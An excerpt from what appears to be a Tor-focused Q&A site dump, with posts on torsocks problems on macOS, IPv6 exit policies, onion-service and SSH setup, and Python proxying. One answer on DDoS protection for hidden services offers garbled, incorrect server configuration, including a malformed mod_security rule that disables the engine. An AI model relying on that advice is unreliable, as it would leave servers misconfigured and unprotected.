  <row Id="23134" PostTypeId="2" ParentId="21280" CreationDate="2022-04-28T22:03:58.100" Score="0" Body="&lt;p&gt;To avoid Firefox-based leaks you should use different VM's with Fire Foxes. It's easy to make - or, if you want an out-of-the-box solution - try QubesOS&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-04-28T22:03:58.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23135" PostTypeId="1" CreationDate="2022-05-01T13:08:42.670" Score="5" ViewCount="1456" Body="&lt;p&gt;I can’t get Torsocks to work properly on macOS 12.3 Monterey, while it works perfectly on Raspbian 11 Bullseye. The program seems to work, but it doesn’t torify the traffic. The version is Torsocks 2.3.0 on both systems.&lt;/p&gt;&#xA;&lt;p&gt;To do the test, I use the same command twice, with and without Torsocks. This command queries the torproject.org API and returns a flag that indicates whether the traffic is torified and the public IP address:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wget -qO- https://check.torproject.org/api/ip | xargs echo&#xA;torsocks wget -qO- https://check.torproject.org/api/ip | xargs echo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On Raspbian, I get the expected results:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{IsTor:false,IP:111.111.11.11}&#xA;{IsTor:true,IP:222.222.22.22}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;While on macOS, the results are the same with or without Torsocks:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{IsTor:false,IP:111.111.11.11}&#xA;{IsTor:false,IP:111.111.11.11}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also used Wireshark with the filter&#xA;&lt;code&gt;ip.addr == 116.202.120.181&lt;/code&gt;&#xA;and the result is consistent, i.e. Wireshark does not detect traffic to this IP when Torsocks is used on Raspbian, but it still detects it on macOS.&lt;/p&gt;&#xA;&lt;p&gt;I also tried with the Tor service started, but without success:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;brew install tor&#xA;brew services restart tor&#xA;brew services list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Notes&lt;/h2&gt;&#xA;&lt;h3&gt;Tor installation&lt;/h3&gt;&#xA;&lt;p&gt;I installed Torsocks in the following way:&lt;/p&gt;&#xA;&lt;p&gt;On macOS&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;brew install torsocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On Raspbian&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install -y torsocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Other unsuccessful attempts&lt;/h3&gt;&#xA;&lt;p&gt;As suggested on&#xA;&lt;a href=&quot;https://itectec.com/askdifferent/macos-torsocks-not-working-in-el-capitan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;,&#xA;I also tried to use the homebrew version of curl:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks /opt/homebrew/Cellar/curl/7.83.0/bin/curl https://check.torproject.org/api/ip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And also the homebrew version of wget:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks /opt/homebrew/Cellar/wget/1.21.3/bin/wget -qO- https://check.torproject.org/api/ip | xargs echo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the version of curl that ships with macOS is protected and does not work with Torsocks:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks curl https://check.torproject.org/api/ip &#xA;ERROR: /usr/bin/curl is located in a directory protected by Apple's System Integrity Protection.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also tried to use port 9150 instead of the default 9050 as suggested &lt;a href=&quot;https://askubuntu.com/a/876478/949794&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks --port 9150 -d wget -qO- https://check.torproject.org/api/ip | xargs echo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the &lt;code&gt;-d&lt;/code&gt; flag is very useful to see what is going on under the hood and to check where the configuration file is located.&lt;/p&gt;&#xA;&lt;p&gt;macOS&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/opt/homebrew/Cellar/torsocks/2.3.0/etc/tor/torsocks.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Raspbian&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor/torsocks.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Edit 2022-05-22&lt;/h3&gt;&#xA;&lt;p&gt;I tried to install httpie as explained &lt;a href=&quot;https://tor.stackexchange.com/a/9492/34515&quot;&gt;here&lt;/a&gt;, but without success.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pip install httpie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Edit 2023-05-19&lt;/h3&gt;&#xA;&lt;p&gt;I didn’t find a way to make Torsocks works under macOS 12 and 13, but a workaround is to use programs that can be configured to use Socks5 Proxies. For example, &lt;code&gt;curl&lt;/code&gt; can do this. You can connect to the &lt;code&gt;tor&lt;/code&gt; proxy on port 9050 or the Tor Browser proxy on port 9150 (Tor Browser must be running).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl --proxy socks5h://localhost:9150 https://check.torproject.org/api/ip&#xA;# {IsTor:true,IP:222.222.22.22}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34515" LastEditorUserId="34515" LastEditDate="2023-05-19T11:00:57.690" LastActivityDate="2023-05-19T11:00:57.690" Title="Torsocks doesn’t torify on macOS" Tags="|mac|torsocks|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23136" PostTypeId="1" AcceptedAnswerId="23137" CreationDate="2022-05-04T12:53:43.130" Score="0" ViewCount="65" Body="&lt;p&gt;I run my Tor Instance in DualStack (IPv4 &amp;amp; IPv6).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Tor 0.4.7.7 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My Exit-Policy in &lt;code&gt;torrc&lt;/code&gt; looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy                  accept6 *:80-81     # HTTP - Hypertext Transfer Protocol / web browsing&#xA;ExitPolicy                  accept6 *:443       # HTTPS - Hypertext Transfer Protocol over TLS/SSL / secure web browsing&#xA;ExitPolicy                  reject6 *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why is my IPv6 ExitPolicy not considered?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/McjgG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/McjgG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34526" LastActivityDate="2022-05-04T20:14:31.993" Title="ExitPolicy for IPv6 not recognized" Tags="|configuration|ipv6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23137" PostTypeId="2" ParentId="23136" CreationDate="2022-05-04T20:14:31.993" Score="1" Body="&lt;p&gt;Have you set IPv6Exit to 1?&lt;/p&gt;&#xA;&lt;p&gt;(30 chars)&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2022-05-04T20:14:31.993" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23138" PostTypeId="2" ParentId="23118" CreationDate="2022-05-05T00:03:26.740" Score="0" Body="&lt;p&gt;This usually happens with the tor metrics and it's not like your bridge is broken but tor metrics store the stats about bridges on their backend system for further stats and all. Holding a large amount of data on the server causes downtime and crashes once in a while. And that period of time the information about some bridges get broken as can be seen in the stat graphs thus concluding the bridge to be offline. So there is nothing to worry about.&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-05T00:03:26.740" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23139" PostTypeId="2" ParentId="23067" CreationDate="2022-05-05T00:12:20.697" Score="0" Body="&lt;p&gt;It seems you have a library missing. I guess these commands will help you out with the problem.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get install libdbus-glib-1-2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After installing libdbus-glib-1-2 try restarting your tor browser.&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-05T00:12:20.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23140" PostTypeId="2" ParentId="23066" CreationDate="2022-05-05T00:16:02.190" Score="1" Body="&lt;p&gt;Tor doesn't support v2 addresses and only v3 onion addresses can be surfed through the tor browser. Using a deprecated version of tor doesn't work because v2 domain resolution for Hidden Services has been stopped on the tor network and only v3 domains are resolved for their particular services.&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-05T00:16:02.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23141" PostTypeId="1" CreationDate="2022-05-05T07:16:36.220" Score="1" ViewCount="52" Body="&lt;p&gt;can anyone explain to me, how to interpret this Log-Message?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Could not find a node that matches the configured _HSLayer2Nodes set&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Running Tor &lt;code&gt;0.4.7.7&lt;/code&gt; on &lt;code&gt;Debian Bullseye&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34526" LastActivityDate="2022-05-05T07:16:36.220" Title="WARN: Could not find a node that matches the configured _HSLayer2Nodes set" Tags="|configuration|tor-install|debian|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23144" PostTypeId="2" ParentId="23052" CreationDate="2022-05-05T14:40:38.680" Score="0" Body="&lt;p&gt;Starting a systemd service requires root privileges but anyway you can enable the service and can make a symlink for the same. So every time you boot up your PC the service will automatically restart. Not only for tor but all other services also require root privileges to start a systemd process.&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-05T14:40:38.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23146" PostTypeId="2" ParentId="19477" CreationDate="2022-05-08T17:47:13.450" Score="0" Body="&lt;p&gt;First of all look for some common configurations like Do you have changed user owner and group owner permissions for /var/lib/tor/sshd if it is root then change it tor toranon by using the command -:&lt;/p&gt;&#xA;&lt;p&gt;chown -hR toranon:toranon /var/lib/tor/sshd&lt;/p&gt;&#xA;&lt;p&gt;if still facing an issue comment down here.&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-08T17:47:13.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23150" PostTypeId="2" ParentId="22376" CreationDate="2022-05-12T21:37:06.487" Score="0" Body="&lt;p&gt;Yes, you can host multiple hidden services on the same server.&#xA;Your torrc file should have this content added for each site -:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service1&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;HiddenServiceDir /var/lib/tor/hidden_service2&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In case of ubuntu or debian if you are using apache2 add the following lines to your /etc/apache2/site-available/00-default.conf file -:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName yourhiddenservice1domain.onion&#xA;    DocumentRoot /var/www/html/firstsite&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName yourhiddenservice2domain.onion&#xA;    DocumentRoot /var/www/html/secondsite&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And you are done!&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-12T21:37:06.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23151" PostTypeId="2" ParentId="22161" CreationDate="2022-05-12T21:40:44.650" Score="0" Body="&lt;p&gt;Well, that's a good idea indeed. If you have got high-end PC then you can generate vanity v3 domains with 9-10 characters as per the requirements of your client through any vanity domain generation tool like mkp224o. As it takes a very much time to generate such domains you can generate public keys and private keys for your clients and can make easy money through it!&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-12T21:40:44.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23154" PostTypeId="2" ParentId="22919" CreationDate="2022-05-14T11:06:54.107" Score="1" Body="&lt;p&gt;This works in v11.0.11. Set the following in about:config&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;network.dns.disabled = false&lt;/li&gt;&#xA;&lt;li&gt;extensions.torlauncher.start_tor = false&lt;/li&gt;&#xA;&lt;li&gt;network.proxy.socks = space &amp;quot; &amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34576" LastActivityDate="2022-05-14T11:06:54.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23155" PostTypeId="1" AcceptedAnswerId="23159" CreationDate="2022-05-15T06:44:08.977" Score="1" ViewCount="99" Body="&lt;p&gt;What's the difference when I visit the same site in Tor Browser?&lt;/p&gt;&#xA;&lt;p&gt;I call the &lt;code&gt;*.onion&lt;/code&gt; URI or the &lt;code&gt;*.org&lt;/code&gt; URI?&lt;/p&gt;&#xA;&lt;p&gt;Is there any difference when both URI point to the same site?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2022-05-20T23:35:41.830" Title="https://name.onion vs. https://name.org differences" Tags="|tor-browser-bundle|onionaddress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23157" PostTypeId="1" CreationDate="2022-05-15T20:34:13.100" Score="0" ViewCount="564" Body="&lt;p&gt;Simply trying to access en.wikipedia.org with a python script where a huge stack of dependencies prevents configuring a proxy (would take a year in order to rewrite dependencies for getting proxy support especially since some of the dependencies like &lt;a href=&quot;https://pypi.org/project/websocket-client/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pypi.org/project/websocket-client/&lt;/a&gt; or &lt;a href=&quot;https://pypi.org/project/aiohttp/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pypi.org/project/aiohttp/&lt;/a&gt; don’t support socks proxies).&lt;/p&gt;&#xA;&lt;p&gt;So I thought I could use &lt;code&gt;torsocks/torify&lt;/code&gt; but :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1652642569 ERROR torsocks[327]: [socks5] Resolve destination buffer too small (in socks5_recv_resolve_reply() at socks5.c:701)&#xA;2022-05-15 21:22:49,723 - BatchWorkExecutor [ERROR] - An exception occurred while executing work_handler.&#xA;Traceback (most recent call last):&#xA;  File &amp;quot;/usr/lib/pypy3.9/site-packages/urllib3/connection.py&amp;quot;, line 174, in _new_conn&#xA;    conn = connection.create_connection(&#xA;  File &amp;quot;/usr/lib/pypy3.9/site-packages/urllib3/util/connection.py&amp;quot;, line 72, in create_connection&#xA;    for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM):&#xA;  File &amp;quot;/usr/lib64/pypy3.9/socket.py&amp;quot;, line 954, in getaddrinfo&#xA;    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):&#xA;_socket.gaierror: [Errno -4] Non-recoverable failure in name resolution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This means an ɪᴘv6 address is being attempted to be written in the space for an ɪᴘv4 address and can be reproduced with curl :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ torify curl https://rpc.ethermine.org&#xA;1653212429 ERROR torsocks[599]: [socks5] Resolve destination buffer too small (in socks5_recv_resolve_reply() at socks5.c:701)&#xA;curl: (6) Could not resolve host: rpc.ethermine.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How to prevent torsocks from receiving an ɪᴘv6 address on name resolution ? Is it possible to configure tor to not only disable ɪᴘv6 connectivity, but ɪᴘv6 name resolution too ?&lt;/p&gt;&#xA;" OwnerUserId="34580" LastEditorUserId="34580" LastEditDate="2022-05-22T10:22:35.430" LastActivityDate="2022-05-22T10:22:35.430" Title="How to use torsocks with python urllib3 and along a domain name where ipv6 is availaible ? Or rather disable ɪᴘᴠ6 in that case?" Tags="|torsocks|dns|ipv6|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23158" PostTypeId="2" ParentId="1181" CreationDate="2022-05-17T06:57:27.720" Score="1" Body="&lt;p&gt;A DDOS attack is a type of cyber-attack that uses multiple compromised systems to target a single system, such as a server or website. The goal of the attack is to make the targeted system unavailable by flooding it with requests from the attacking systems.&lt;/p&gt;&#xA;&lt;p&gt;There are many ways to protect a hidden service against DDOS attack. One way is to use an anti-DDoS service like Cloudflare, which provides protection for both HTTP and HTTPS traffic. Another way is to use an anti-DDoS solution like Incapsula, which provides protection for HTTP traffic only. .If your hidden service is not using an anti-DDoS solution like Cloudflare, Incapsula, or Sucuri Security the most important thing you can do is to enable a rate limit on the server. In other words, the server should only accept a certain number of requests per second. .Why are there limits on the number of requests per second?As mentioned in the previous question, it is important to limit the number of requests per second for security reasons. If a hidden service gets DDOSed and it does not have a rate limit, then anyone can make an unlimited number of requests and overwhelm the server. . .&lt;/p&gt;&#xA;&lt;p&gt;How do I set up a rate limit for my hidden service? .-- If you are using port 80, then you can use the standard Apache httpd configuration file to enable a rate limit. For example, add this line in your Apache httpd configuration file: LimitRequestBody 1000000.-- If you are using port 443 (HTTPS), then you should use the mod_security module to limit request rates. For example, add this line in your mod_security configuration file: SecFilterEngine Off SecFilterRule \ &amp;quot;id:'1011' match =&amp;gt; string:10 action =&amp;gt; 'deny'SecFilterRule \ &amp;quot;id:'1012' match =&amp;gt; string:10 action =&amp;gt;&lt;/p&gt;&#xA;" OwnerUserId="5026" LastActivityDate="2022-05-17T06:57:27.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23159" PostTypeId="2" ParentId="23155" CreationDate="2022-05-17T16:00:33.890" Score="2" Body="&lt;p&gt;The first is an onion service, and the second is not. Onion services are only accessible from the Tor network and are routed differently from non-onion service websites. In general, onion services may be slightly slower, but can sometimes be more secure (if the website does not use TLS and HSTS).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is there any difference when both URI point to the same site?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How do you know they point to the same site? If the website operator officially advertises both addresses, then it's fine to use either address. But only use an address if you know that it's an official address run by the website operator. If it's not, one of them might be malicious and acting as a proxy, intercepting your traffic to the real site. Just because the webpages you see at both addresses look the same, doesn't mean they're actually the same. You should only access the website through its official address(es).&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2022-05-20T23:35:41.830" LastActivityDate="2022-05-20T23:35:41.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23161" PostTypeId="1" CreationDate="2022-05-17T18:28:13.060" Score="0" ViewCount="141" Body="&lt;p&gt;Recently while browsing on tor I visited a shop on google maps. Later using you tube out of tor it appeared to me a propaganda of that shop.It is something very specific so nothing about coincidences.Does then google let any residue on your computer to track you later? I appreciate your comments , many thanks for the support.&lt;/p&gt;&#xA;" OwnerUserId="34590" LastActivityDate="2022-05-17T23:44:48.160" Title="youtube tracking you though TOR" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23162" PostTypeId="2" ParentId="23161" CreationDate="2022-05-17T23:44:48.160" Score="0" Body="&lt;p&gt;Any - literally &lt;strong&gt;any&lt;/strong&gt; tracking script - it just tracking you, that's what it's built for! So it's nothing specific related to Google etc... To avoid this things to happen use a disposable VM's fully routed through Tor and &lt;strong&gt;do not login&lt;/strong&gt; anywhere like Google unless you have to. If you've logged in - like in your regular browser using Tor - you will be tracked because Google knows that it's you and it does not care at all how exactly have you reached anything it spotted you on. To have an out-of-the-box solution for disposable VM's try using VirtualBox with a VM templates/overlays or - for an OS-wide scale - QubesOS&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-05-17T23:44:48.160" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23163" PostTypeId="1" CreationDate="2022-05-18T09:46:09.800" Score="1" ViewCount="109" Body="&lt;p&gt;Consider the following scenario.&lt;/p&gt;&#xA;&lt;p&gt;I live in a repressive state A. On the other hand, the citizens of state A operate many Tor nodes.&lt;/p&gt;&#xA;&lt;p&gt;I am trying to call for demonstrations and criticize policies on domestic social networking sites in order to oppose the oppressive state A. However, these actions are banned in state A. And the State A investigative agency is trying to identify and arrest me.&lt;/p&gt;&#xA;&lt;p&gt;Let us consider the following circuit that was constructed when I used Tor to post on the domestic SNS.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Country A node(entry) ⇒ Any middle node ⇒ Country A node(exit)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this situation, can state A perform a correlated attack through the domestic ISP and de-anonymize as well as global passive adversary?&lt;/p&gt;&#xA;&lt;p&gt;I found a &lt;a href=&quot;https://tor.stackexchange.com/q/19841/34592&quot;&gt;related question&lt;/a&gt;, but this does not answer my question. This is because, even if the nodes are not operated by the same person, a correlated attack can be realistic by monitoring ISP traffic if the nodes are in the same country.&lt;/p&gt;&#xA;" OwnerUserId="34592" LastActivityDate="2022-05-18T09:46:09.800" Title="Isn't deanonymization by having the entry and exit nodes in the same country a threat?" Tags="|security|deanonymization|location|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23164" PostTypeId="2" ParentId="20710" CreationDate="2022-05-18T09:59:43.477" Score="0" Body="&lt;p&gt;In essence to your Question, YES TOR is Secure but if some Organization like the NSA really wanted to Backtrack you they could don't forget TOR'S Security is a Two Way Street, you must Never open TOR Browser in FULL SCREEN MODE NO Exceptions follow the TOR Guidelines and you will be OK.........&lt;/p&gt;&#xA;" OwnerUserId="34591" LastEditorUserId="34591" LastEditDate="2022-05-18T10:03:23.983" LastActivityDate="2022-05-18T10:03:23.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23167" PostTypeId="2" ParentId="23157" CreationDate="2022-05-20T01:28:12.280" Score="0" Body="&lt;p&gt;If you only want to use torsocks with python then you can use the python-requests library, first of all, start the tor service in your background.&#xA;Then use this sort of script -:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import requests&#xA;&#xA;session = requests.session()&#xA;session.proxies = {&amp;quot;http&amp;quot;: &amp;quot;socks5h://localhost:9050&amp;quot;, &amp;quot;https&amp;quot;: &amp;quot;socks5h://localhost:9050&amp;quot;}&#xA;url = &amp;quot;https://en.wikipedia.org&amp;quot;&#xA;response = session.get(url)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this code will help you to achieve what you want. I guess this is all what you need for now!&lt;/p&gt;&#xA;" OwnerUserId="34527" LastActivityDate="2022-05-20T01:28:12.280" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23168" PostTypeId="1" CreationDate="2022-05-20T13:27:14.483" Score="0" ViewCount="74" Body="&lt;p&gt;reading fritzbox log, it shows a nightly scheduled ip re-establishment. This is due to anticipated disconnect from ISP side in immediate future.&lt;/p&gt;&#xA;&lt;p&gt;The relay node is knocked off circuits and all need reestablished..&lt;/p&gt;&#xA;&lt;p&gt;Q1: why does this happen?&#xA;fritz logs:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;timestamp 3am 4 Clearing internet connection briefly to prevent the internet service provider from disconnecting you in the immediate future.&#xA;timestamp 3.01 am Internet connection established successfully.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But lately the fritz box reconnects happen during the day without the box anticipating. Internet briefly goes down. Relay must build circuits again.  This smells and is suspect internet traffic analysis, but by a leggit ISP or on their network? It might also be sign of isp not liking relay (it is few months old)&lt;/p&gt;&#xA;&lt;p&gt;Q2: What are your answer to the unexpected reconnects, any similar experience?&lt;/p&gt;&#xA;" OwnerUserId="34010" LastEditorUserId="34010" LastEditDate="2022-05-20T16:44:49.990" LastActivityDate="2022-05-20T16:44:49.990" Title="ISP frequently clears internet connection and knocks out relay circuits" Tags="|relays|traffic-analysis|internet-service-provider|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23172" PostTypeId="1" AcceptedAnswerId="23173" CreationDate="2022-05-21T12:44:31.110" Score="0" ViewCount="958" Body="&lt;p&gt;I have set up an onion service on a machine (running Ubuntu Server 22.04) that provides both web and SSH access, such that this is the torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/myservice/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I go to &lt;code&gt;myservice.onion&lt;/code&gt; in Tor browser on any operating system, the website loads successfully, and when I run the following command on Linux I can login successfully:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o ProxyCommand=&amp;quot;/usr/bin/nc -xlocalhost:9050 -X5 %h %p&amp;quot; username@myservice.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can also login successfully if I define settings for &lt;code&gt;*.onion&lt;/code&gt; hosts in my &lt;code&gt;~/.ssh/config&lt;/code&gt; file, therefore logging in through SSH on Linux is not a problem.&lt;/p&gt;&#xA;&lt;p&gt;However, I am unable to login on windows using the above command (since &lt;code&gt;/usr/bin/&lt;/code&gt; is not a valid directory), so I tried to use PuTTY (I have release 0.76 installed) to login. I read &lt;a href=&quot;https://tor.stackexchange.com/questions/4802/setting-up-tor-in-putty&quot;&gt;this question&lt;/a&gt;, which seems to have no answers, as well as the &lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/wikis/doc/TorifyHOWTO/Putty&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor project PuTTY guide&lt;/a&gt;, which said to configure the proxy settings such that PuTTY is using a SOCKS5 proxy, &lt;code&gt;Proxy hostname&lt;/code&gt; is &lt;code&gt;localhost&lt;/code&gt;, the port is &lt;code&gt;9050&lt;/code&gt;, DNS name lookup is set to &lt;code&gt;yes&lt;/code&gt;, and the Telnet command field contains &lt;code&gt;connect %host %port\n&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When I configure those exact settings, as you can see &lt;a href=&quot;https://i.stack.imgur.com/40uJv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://i.stack.imgur.com/RWNg3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, I simply get &lt;a href=&quot;https://i.stack.imgur.com/fqwxL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; error. (I have the latest version of Tor Browser for Windows running while PuTTY is running, so the localhost proxy should work).&lt;/p&gt;&#xA;&lt;p&gt;My question is, how do I connect to my onion service via PuTTY? Alternatively, is there any other way to connect to it via SSH on Windows?&lt;/p&gt;&#xA;" OwnerUserId="34607" LastEditorUserId="34607" LastEditDate="2022-05-21T12:46:53.533" LastActivityDate="2022-05-21T21:42:54.327" Title="How to connect to onion service via PuTTY" Tags="|onion-services|windows|help|ssh|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23173" PostTypeId="2" ParentId="23172" CreationDate="2022-05-21T21:42:54.327" Score="1" Body="&lt;p&gt;As Steve pointed out in a comment, the solution is to keep the same settings, but set the PuTTY SOCKS5 proxy to run on port &lt;strong&gt;9150&lt;/strong&gt;, after which the SSH login works successfully.&lt;/p&gt;&#xA;" OwnerUserId="34607" LastActivityDate="2022-05-21T21:42:54.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23174" PostTypeId="1" CreationDate="2022-05-21T22:33:22.043" Score="0" ViewCount="727" Body="&lt;p&gt;I have a domain and website in .onion now I want to make site's mirror in clearnet. How should I do that?&lt;/p&gt;&#xA;" OwnerUserId="34609" LastEditorUserId="88" LastEditDate="2022-05-29T20:07:05.263" LastActivityDate="2022-06-03T16:23:38.163" Title="Make mirror of .onion in clearnet" Tags="|onion-services|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23175" PostTypeId="2" ParentId="7031" CreationDate="2022-05-22T14:05:51.667" Score="0" Body="&lt;p&gt;To automatically change the circuit on an interval, you can set &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; in &lt;code&gt;torrc&lt;/code&gt; (default 10 minutes). See full manual with &lt;code&gt;man tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34605" LastActivityDate="2022-05-22T14:05:51.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
